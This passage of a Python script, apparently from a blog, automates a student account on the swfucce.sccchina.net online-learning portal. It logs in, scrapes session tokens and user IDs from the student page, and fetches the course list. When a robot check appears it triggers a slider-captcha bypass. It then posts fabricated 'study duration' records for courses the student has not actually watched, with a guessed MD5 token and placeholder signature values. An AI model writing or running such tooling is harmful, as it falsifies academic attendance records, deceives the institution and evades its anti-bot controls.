class="string">&quot;application/json, text/javascript, */*; q=0.01&quot;</span>,</span><br><span class="line">            <span class="string">&quot;eduRefUrl&quot;</span>: <span class="string">f&quot;<span class="subst">&#123;BASE_URL&#125;</span>/&quot;</span>,</span><br><span class="line">        &#125;</span><br><span class="line">    )</span><br><span class="line">    </span><br><span class="line">    response = session.post(login_url, headers=login_headers, data=login_data)</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;\n登录响应状态码: <span class="subst">&#123;response.status_code&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;登录响应内容: <span class="subst">&#123;response.text&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 解析响应</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        result = response.json()</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> result.get(<span class="string">&quot;code&quot;</span>) == <span class="number">1</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;\n✓ 登录成功！&quot;</span>)</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 提取重要信息</span></span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;data&quot;</span> <span class="keyword">in</span> result <span class="keyword">and</span> <span class="string">&quot;eduCId&quot;</span> <span class="keyword">in</span> result[<span class="string">&quot;data&quot;</span>]:</span><br><span class="line">                edu_cid = result[<span class="string">&quot;data&quot;</span>][<span class="string">&quot;eduCId&quot;</span>]</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;eduCId: <span class="subst">&#123;edu_cid&#125;</span>&quot;</span>)</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 打印Cookie信息</span></span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;\n当前Cookie:&quot;</span>)</span><br><span class="line">            <span class="keyword">for</span> cookie <span class="keyword">in</span> session.cookies:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;  <span class="subst">&#123;cookie.name&#125;</span>: <span class="subst">&#123;cookie.value&#125;</span>&quot;</span>)</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 获取后续请求需要的token和sign</span></span><br><span class="line">            update_dynamic_params()</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            error_msg = result.get(<span class="string">&quot;message&quot;</span>, <span class="string">&quot;未知错误&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;\n✗ 登录失败: <span class="subst">&#123;error_msg&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">            </span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;\n✗ 解析登录响应失败: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">update_dynamic_params</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot;从 /student/ 页面更新动态参数 eduToken、eduCId、userId 等&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">global</span> edu_token, edu_sign, edu_cid, user_account_id</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n正在从学生主页获取动态参数...&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 访问学生主页（登录响应中已包含重定向URL）</span></span><br><span class="line">    student_url = <span class="string">f&quot;<span class="subst">&#123;BASE_URL&#125;</span>/student/&quot;</span></span><br><span class="line">    </span><br><span class="line">    headers = create_base_headers(</span><br><span class="line">        extra_headers=&#123;</span><br><span class="line">            <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8&quot;</span>,</span><br><span class="line">        &#125;</span><br><span class="line">    )</span><br><span class="line">    </span><br><span class="line">    response = session.get(student_url, headers=headers)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> response.status_code == <span class="number">200</span>:</span><br><span class="line">        html_content = response.text</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 调试：保存HTML到文件以便分析</span></span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;student_page_debug.html&quot;</span>, <span class="string">&quot;w&quot;</span>, encoding=<span class="string">&quot;utf-8&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            f.write(html_content)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;已保存页面HTML到 student_page_debug.html&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 使用正则表达式提取 cxt 对象中的关键信息</span></span><br><span class="line">        <span class="keyword">import</span> re</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 提取 eduToken - 支持压缩和格式化两种JSON格式</span></span><br><span class="line">        token_patterns = [</span><br><span class="line">            <span class="string">r&#x27;&quot;eduToken&quot;\s*:\s*&quot;([^&quot;]+)&quot;&#x27;</span>,  <span class="comment"># &quot;eduToken&quot;:&quot;xxx&quot; (压缩格式)</span></span><br><span class="line">            <span class="string">r&#x27;eduToken\s*:\s*[&quot;\&#x27;]([^&quot;\&#x27;]+)[&quot;\&#x27;]&#x27;</span>,  <span class="comment"># eduToken: &quot;xxx&quot; (格式化)</span></span><br><span class="line">        ]</span><br><span class="line">        </span><br><span class="line">        edu_token = <span class="literal">None</span></span><br><span class="line">        <span class="keyword">for</span> pattern <span class="keyword">in</span> token_patterns:</span><br><span class="line">            token_match = re.search(pattern, html_content)</span><br><span class="line">            <span class="keyword">if</span> token_match:</span><br><span class="line">                edu_token = token_match.group(<span class="number">1</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> edu_token:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;✓ eduToken: <span class="subst">&#123;edu_token&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;✗ 未找到 eduToken&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;提示: 请检查 student_page_debug.html 文件确认页面结构&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 提取 eduCId - 支持两种格式</span></span><br><span class="line">        cid_patterns = [</span><br><span class="line">            <span class="string">r&#x27;cxt\.eduCId\s*=\s*[&quot;\&#x27;]([^&quot;\&#x27;]+)[&quot;\&#x27;]&#x27;</span>,  <span class="comment"># cxt.eduCId = &quot;xxx&quot;</span></span><br><span class="line">            <span class="string">r&#x27;&quot;eduCId&quot;\s*:\s*&quot;([^&quot;]+)&quot;&#x27;</span>,  <span class="comment"># &quot;eduCId&quot;:&quot;xxx&quot; (压缩格式)</span></span><br><span class="line">        ]</span><br><span class="line">        </span><br><span class="line">        edu_cid_local = <span class="literal">None</span></span><br><span class="line">        <span class="keyword">for</span> pattern <span class="keyword">in</span> cid_patterns:</span><br><span class="line">            cid_match = re.search(pattern, html_content)</span><br><span class="line">            <span class="keyword">if</span> cid_match:</span><br><span class="line">                edu_cid_local = cid_match.group(<span class="number">1</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> edu_cid_local:</span><br><span class="line">            edu_cid = edu_cid_local</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;✓ eduCId: <span class="subst">&#123;edu_cid&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;✗ 未找到 eduCId&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 提取 userId (即 userAccountId) - 支持多种格式</span></span><br><span class="line">        userid_patterns = [</span><br><span class="line">            <span class="string">r&#x27;&quot;userId&quot;\s*:\s*&quot;([^&quot;]+)&quot;&#x27;</span>,  <span class="comment"># &quot;userId&quot;:&quot;xxx&quot; (压缩格式)</span></span><br><span class="line">            <span class="string">r&#x27;userId\s*:\s*[&quot;\&#x27;]([^&quot;\&#x27;]+)[&quot;\&#x27;]&#x27;</span>,  <span class="comment"># userId: &quot;xxx&quot; (格式化)</span></span><br><span class="line">            <span class="string">r&#x27;&quot;userAccountId&quot;\s*:\s*&quot;([^&quot;]+)&quot;&#x27;</span>,  <span class="comment"># &quot;userAccountId&quot;:&quot;xxx&quot;</span></span><br><span class="line">        ]</span><br><span class="line">        </span><br><span class="line">        user_account_id = <span class="literal">None</span></span><br><span class="line">        <span class="keyword">for</span> pattern <span class="keyword">in</span> userid_patterns:</span><br><span class="line">            userid_match = re.search(pattern, html_content)</span><br><span class="line">            <span class="keyword">if</span> userid_match:</span><br><span class="line">                user_account_id = userid_match.group(<span class="number">1</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> user_account_id:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;✓ userId (userAccountId): <span class="subst">&#123;user_account_id&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;✗ 未找到 userId&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;提示: 请检查 student_page_debug.html 文件确认字段名&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 提取 userName</span></span><br><span class="line">        username_patterns = [</span><br><span class="line">            <span class="string">r&#x27;&quot;userName&quot;\s*:\s*&quot;([^&quot;]+)&quot;&#x27;</span>,  <span class="comment"># &quot;userName&quot;:&quot;xxx&quot; (压缩格式)</span></span><br><span class="line">            <span class="string">r&#x27;userName\s*:\s*[&quot;\&#x27;]([^&quot;\&#x27;]+)[&quot;\&#x27;]&#x27;</span>,  <span class="comment"># userName: &quot;xxx&quot; (格式化)</span></span><br><span class="line">        ]</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> pattern <span class="keyword">in</span> username_patterns:</span><br><span class="line">            username_match = re.search(pattern, html_content)</span><br><span class="line">            <span class="keyword">if</span> username_match:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;✓ 用户名: <span class="subst">&#123;username_match.group(<span class="number">1</span>)&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 提取 stationId</span></span><br><span class="line">        station_patterns = [</span><br><span class="line">            <span class="string">r&#x27;&quot;stationId&quot;\s*:\s*&quot;([^&quot;]+)&quot;&#x27;</span>,  <span class="comment"># &quot;stationId&quot;:&quot;xxx&quot; (压缩格式)</span></span><br><span class="line">            <span class="string">r&#x27;stationId\s*:\s*[&quot;\&#x27;]([^&quot;\&#x27;]+)[&quot;\&#x27;]&#x27;</span>,  <span class="comment"># stationId: &quot;xxx&quot; (格式化)</span></span><br><span class="line">        ]</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> pattern <span class="keyword">in</span> station_patterns:</span><br><span class="line">            station_match = re.search(pattern, html_content)</span><br><span class="line">            <span class="keyword">if</span> station_match:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;✓ stationId: <span class="subst">&#123;station_match.group(<span class="number">1</span>)&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 尝试从 HTML 或 JS 文件中查找 eduSign</span></span><br><span class="line">        <span class="comment"># 注意：eduSign 可能不在 student 页面中，需要从其他地方获取</span></span><br><span class="line">        sign_patterns = [</span><br><span class="line">            <span class="string">r&#x27;&quot;?eduSign&quot;?\s*[:=]\s*[&quot;\&#x27;]([^&quot;\&#x27;]+)[&quot;\&#x27;]&#x27;</span>,</span><br><span class="line">            <span class="string">r&#x27;edusign\s*[:=]\s*[&quot;\&#x27;]([^&quot;\&#x27;]+)[&quot;\&#x27;]&#x27;</span>,</span><br><span class="line">        ]</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> pattern <span class="keyword">in</span> sign_patterns:</span><br><span class="line">            sign_match = re.search(pattern, html_content, re.IGNORECASE)</span><br><span class="line">            <span class="keyword">if</span> sign_match:</span><br><span class="line">                edu_sign = sign_match.group(<span class="number">1</span>)</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;✓ eduSign: <span class="subst">&#123;edu_sign&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> edu_sign:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;⚠ 未在页面中找到 eduSign&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;提示: eduSign 可能需要从其他接口获取或手动配置&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 验证是否成功获取所有必要参数</span></span><br><span class="line">        <span class="keyword">if</span> edu_token <span class="keyword">and</span> edu_cid <span class="keyword">and</span> user_account_id:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;\n✓ 所有动态参数获取成功！&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;\n✗ 部分参数获取失败，请检查页面结构是否变化&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;   edu_token: <span class="subst">&#123;<span class="string">&#x27;✓&#x27;</span> <span class="keyword">if</span> edu_token <span class="keyword">else</span> <span class="string">&#x27;✗&#x27;</span>&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;   edu_cid: <span class="subst">&#123;<span class="string">&#x27;✓&#x27;</span> <span class="keyword">if</span> edu_cid <span class="keyword">else</span> <span class="string">&#x27;✗&#x27;</span>&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;   user_account_id: <span class="subst">&#123;<span class="string">&#x27;✓&#x27;</span> <span class="keyword">if</span> user_account_id <span class="keyword">else</span> <span class="string">&#x27;✗&#x27;</span>&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;✗ 访问学生主页失败: <span class="subst">&#123;response.status_code&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;响应内容: <span class="subst">&#123;response.text[:<span class="number">200</span>]&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line">        </span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_course_list</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot;获取课程列表&quot;&quot;&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span> + <span class="string">&quot;=&quot;</span>*<span class="number">50</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;获取课程列表...&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span>*<span class="number">50</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 验证必要参数是否已获取</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> <span class="built_in">all</span>([edu_token, edu_cid, user_account_id]):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;错误: 动态参数未完全获取，请先确保登录成功&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> []</span><br><span class="line">    </span><br><span class="line">    url = <span class="string">f&quot;<span class="subst">&#123;BASE_URL&#125;</span>/student/student/coursestudy/getlist&quot;</span></span><br><span class="line">    </span><br><span class="line">    headers = create_api_headers(</span><br><span class="line">        content_type=<span class="string">&quot;application/json&quot;</span>,</span><br><span class="line">        extra_headers=&#123;</span><br><span class="line">            <span class="string">&quot;Host&quot;</span>: <span class="string">&quot;swfucce.sccchina.net&quot;</span>,</span><br><span class="line">            <span class="string">&quot;metadataCode&quot;</span>: <span class="string">&quot;Student_StudentHome&quot;</span>,</span><br><span class="line">            <span class="string">&quot;eduRefUrl&quot;</span>: <span class="string">f&quot;<span class="subst">&#123;BASE_URL&#125;</span>/student/&quot;</span>,</span><br><span class="line">        &#125;</span><br><span class="line">    )</span><br><span class="line">    </span><br><span class="line">    data = json.dumps(&#123;<span class="string">&quot;data&quot;</span>: <span class="string">&quot;aggregation&quot;</span>&#125;, separators=(<span class="string">&#x27;,&#x27;</span>, <span class="string">&#x27;:&#x27;</span>))</span><br><span class="line">    </span><br><span class="line">    response = session.post(url, headers=headers, data=data)</span><br><span class="line">    </span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;响应状态码: <span class="subst">&#123;response.status_code&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 如果收到403，检查是否需要滑块验证</span></span><br><span class="line">    <span class="keyword">if</span> response.status_code == <span class="number">403</span>:</span><br><span class="line">        response_text = response.text</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;收到403错误，响应内容: <span class="subst">&#123;response_text[:<span class="number">200</span>]&#125;</span>&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="comment"># 检查是否是403.5（需要滑块验证）</span></span><br><span class="line">        <span class="keyword">if</span> <span class="string">&#x27;403.5&#x27;</span> <span class="keyword">in</span> response_text <span class="keyword">or</span> <span class="string">&#x27;robot&#x27;</span> <span class="keyword">in</span> response_text.lower():</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;\n检测到需要滑块验证（403.5）&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;开始处理滑块验证码...\n&quot;</span>)</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 处理滑块验证</span></span><br><span class="line">            captcha_id = handle_slider_captcha()</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> captcha_id:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;✓ 滑块验证成功，重新获取课程列表...\n&quot;</span>)</span><br><span class="line">                <span class="comment"># 验证成功后，重新请求课程列表</span></span><br><span class="line">                response = session.post(url, headers=headers, data=data)</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;重试后响应状态码: <span class="subst">&#123;response.status_code&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;✗ 滑块验证失败&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> []</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;403错误，但不是滑块验证问题&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> []</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> response.status_code == <span class="number">200</span>:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            result = response.json()</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;items&quot;</span> <span class="keyword">in</span> result:</span><br><span class="line">                courses = result[<span class="string">&quot;items&quot;</span>]</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;\n共获取到 <span class="subst">&#123;<span class="built_in">len</span>(courses)&#125;</span> 门课程&quot;</span>)</span><br><span class="line">                </span><br><span class="line">                <span class="keyword">for</span> i, course <span class="keyword">in</span> <span class="built_in">enumerate</span>(courses[:<span class="number">5</span>], <span class="number">1</span>):  <span class="comment"># 只显示前5门</span></span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;\n[<span class="subst">&#123;i&#125;</span>] <span class="subst">&#123;course.get(<span class="string">&#x27;versionName&#x27;</span>, <span class="string">&#x27;N/A&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;    courseVersionID: <span class="subst">&#123;course.get(<span class="string">&#x27;courseVersionID&#x27;</span>, <span class="string">&#x27;N/A&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;    teachplanCourseVersionId: <span class="subst">&#123;course.get(<span class="string">&#x27;teachplanCourseVersionId&#x27;</span>, <span class="string">&#x27;N/A&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;    sign: <span class="subst">&#123;course.get(<span class="string">&#x27;sign&#x27;</span>, <span class="string">&#x27;N/A&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;    学习进度: <span class="subst">&#123;course.get(<span class="string">&#x27;coursewareLearningProgress&#x27;</span>, <span class="string">&#x27;N/A&#x27;</span>)&#125;</span>&quot;</span>)</span><br><span class="line">                </span><br><span class="line">                <span class="keyword">return</span> courses</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;未找到课程数据&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> []</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;解析课程列表失败: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;响应内容: <span class="subst">&#123;response.text[:<span class="number">500</span>]&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">return</span> []</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;请求失败: <span class="subst">&#123;response.text&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> []</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_study_duration_request</span>(<span class="params">config</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;发送学习时长记录请求&quot;&quot;&quot;</span></span><br><span class="line">    headers = create_api_headers(</span><br><span class="line">        content_type=<span class="string">&quot;application/json&quot;</span>,</span><br><span class="line">        extra_headers=&#123;</span><br><span class="line">            <span class="string">&quot;Host&quot;</span>: <span class="string">&quot;swfucce.sccchina.net&quot;</span>,</span><br><span class="line">            <span class="string">&quot;Accept&quot;</span>: <span class="string">&quot;application/json&quot;</span>,</span><br><span class="line">            <span class="string">&quot;eduRefUrl&quot;</span>: config[<span class="string">&quot;edurefurl&quot;</span>],</span><br><span class="line">        &#125;</span><br><span class="line">    )</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 手动构建JSON数据，确保没有多余空格</span></span><br><span class="line">    data_string = json.dumps(&#123;<span class="string">&quot;data&quot;</span>: config[<span class="string">&quot;data&quot;</span>]&#125;, separators=(<span class="string">&#x27;,&#x27;</span>, <span class="string">&#x27;:&#x27;</span>))</span><br><span class="line">    </span><br><span class="line">    response = session.post(</span><br><span class="line">        url=<span class="string">f&quot;<span class="subst">&#123;BASE_URL&#125;</span>/student/student/coursestudyrecord/adddurationpc&quot;</span>,</span><br><span class="line">        headers=headers,</span><br><span class="line">        data=data_string</span><br><span class="line">    )</span><br><span class="line">    <span class="keyword">return</span> response</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">build_study_config_from_course</span>(<span class="params">course</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;从课程信息构建学习配置&quot;&quot;&quot;</span></span><br><span class="line">    course_version_id = course.get(<span class="string">&#x27;courseVersionID&#x27;</span>)</span><br><span class="line">    teachplan_course_version_id = course.get(<span class="string">&#x27;teachplanCourseVersionId&#x27;</span>)</span><br><span class="line">    sign = course.get(<span class="string">&#x27;sign&#x27;</span>)</span><br><span class="line">    version_name = course.get(<span class="string">&#x27;versionName&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> <span class="built_in">all</span>([course_version_id, teachplan_course_version_id, sign]):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;警告: 课程 <span class="subst">&#123;version_name&#125;</span> 缺少必要参数&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 验证必要的全局参数</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> user_account_id:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;错误: user_account_id 未获取&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 构建edurefurl</span></span><br><span class="line">    <span class="keyword">from</span> urllib.parse <span class="keyword">import</span> quote</span><br><span class="line">    edurefurl = (<span class="string">f&quot;<span class="subst">&#123;BASE_URL&#125;</span>/student/videolearning.html#Subpage/StudentVersionVideo?&quot;</span></span><br><span class="line">                 <span class="string">f&quot;courseVersionId=<span class="subst">&#123;course_version_id&#125;</span>&amp;&quot;</span></span><br><span class="line">                 <span class="string">f&quot;teachplanCourseVersionId=<span class="subst">&#123;teachplan_course_version_id&#125;</span>&amp;&quot;</span></span><br><span class="line">                 <span class="string">f&quot;sign=<span class="subst">&#123;sign&#125;</span>&amp;&quot;</span></span><br><span class="line">                 <span class="string">f&quot;userAccountId=<span class="subst">&#123;user_account_id&#125;</span>&amp;&quot;</span></span><br><span class="line">                 <span class="string">f&quot;syncPracticePiwik=1&amp;&quot;</span></span><br><span class="line">                 <span class="string">f&quot;piwikSiteId=750&amp;&quot;</span></span><br><span class="line">                 <span class="string">f&quot;versionName=<span class="subst">&#123;quote(version_name)&#125;</span>&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 构建token（这个需要从视频播放页面获取，这里使用时间戳生成临时token）</span></span><br><span class="line">    <span class="comment"># 实际使用时可能需要从 /student/student/coursestudyrecord/getvideotoken 等接口获取</span></span><br><span class="line">    <span class="keyword">import</span> hashlib</span><br><span class="line">    timestamp = <span class="built_in">str</span>(<span class="built_in">int</span>(time.time() * <span class="number">1000</span>))</span><br><span class="line">    token_str = <span class="string">f&quot;<span class="subst">&#123;course_version_id&#125;</span>_<span class="subst">&#123;timestamp&#125;</span>_<span class="subst">&#123;user_account_id&#125;</span>&quot;</span></span><br><span class="line">    token_hash = hashlib.md5(token_str.encode()).hexdigest()</span><br><span class="line">    token = <span class="string">f&quot;<span class="subst">&#123;token_hash&#125;</span>|<span class="subst">&#123;timestamp&#125;</span>&quot;</span></span><br><span class="line">    </span><br><span class="line">    config = &#123;</span><br><span class="line">        <span class="string">&quot;edurefurl&quot;</span>: edurefurl,</span><br><span class="line">        <span class="string">&quot;edutoken&quot;</span>: edu_token <span class="keyword">or</span> <span class="string">&quot;placeholder&quot;</span>,</span><br><span class="line">        <span class="string">&quot;edusign&quot;</span>: <span class="string">&quot;placeholder&quot;</span>,  <span class="comment"># eduSign可能需要额外获取</span></span><br><span class="line">        <span class="string">&quot;data&quot;</span>: &#123;</span><br><span class="line">            <span class="string">&quot;courseVersionId&quot;</span>: <span class="built_in">str</span>(course_version_id),</span><br><span class="line">            <span class="string">&quot;studyDuration&quot;</span>: <span class="number">30</span>,</span><br><span class="line">            <span class="string">&quot;token&quot;</span>: token,</span><br><span class="line">        &#125;,</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> config</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    <span class="string">&quot;&quot;&quot;主函数&quot;&quot;&quot;</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span> + <span class="string">&quot;#&quot;</span>*<span class="number">60</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;# 自动化学习系统&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;#&quot;</span>*<span class="number">60</span> + <span class="string">&quot;\n&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 第一步：登录</span></span><br><span class="line">    login_success = login()</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> login_success:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;\n登录失败，程序退出&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 第二步：获取课程列表</span></span><br><span class="line">    courses = get_course_list()</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> courses:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;\n未获取到课程列表，程序退出&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 第三步：构建学习配置并发送请求</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span> + <span class="string">&quot;=&quot;</span>*<span class="number">50</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;开始模拟学习...&quot;</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;=&quot;</span>*<span class="number">50</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 使用前4门课程作为示例</span></span><br><span class="line">    study_courses = courses[:<span 